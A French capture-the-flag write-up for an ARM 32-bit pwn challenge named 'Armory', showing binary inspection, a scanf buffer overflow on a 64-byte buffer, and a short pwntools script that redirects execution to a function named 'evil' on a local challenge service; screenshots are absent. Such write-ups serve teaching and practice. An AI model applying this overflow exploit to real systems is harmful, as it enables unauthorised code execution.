Solution de jsreynaud pour Armory

pwn ARM

13 décembre 2023

On inspecte l’exécutable fourni :

$ file armory 
armory: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=aaa2d5ba6d3a6cf3958eb9073e673795c2f1e24e, not stripped

Donc c’est un exécutable arm 32 bits.

On inspecte ça avec radare2

image

image

Il y a donc un beau buffer overflow avec le scanf.

De manière plus claire avec ghidra :

image

Donc la variable de 64 octets permet un débordement. Plus qu’à trouver une fonction cible à atteindre. En cherchant bien on trouve une fonction evil :

$ nm armory 
...
0001052c T evil
...

Si on regarde le code de cette fonction :

image

Donc là c’est clair. C’est la fonction qu’on cherche. Plus qu’à coder l’exploit :

import pwn

payload = pwn.cyclic(64 + 4) + pwn.p32(0x0001052C)
conn = pwn.remote("localhost", 4000)
print(conn.recvline())
conn.sendline(payload)
conn.interactive()

image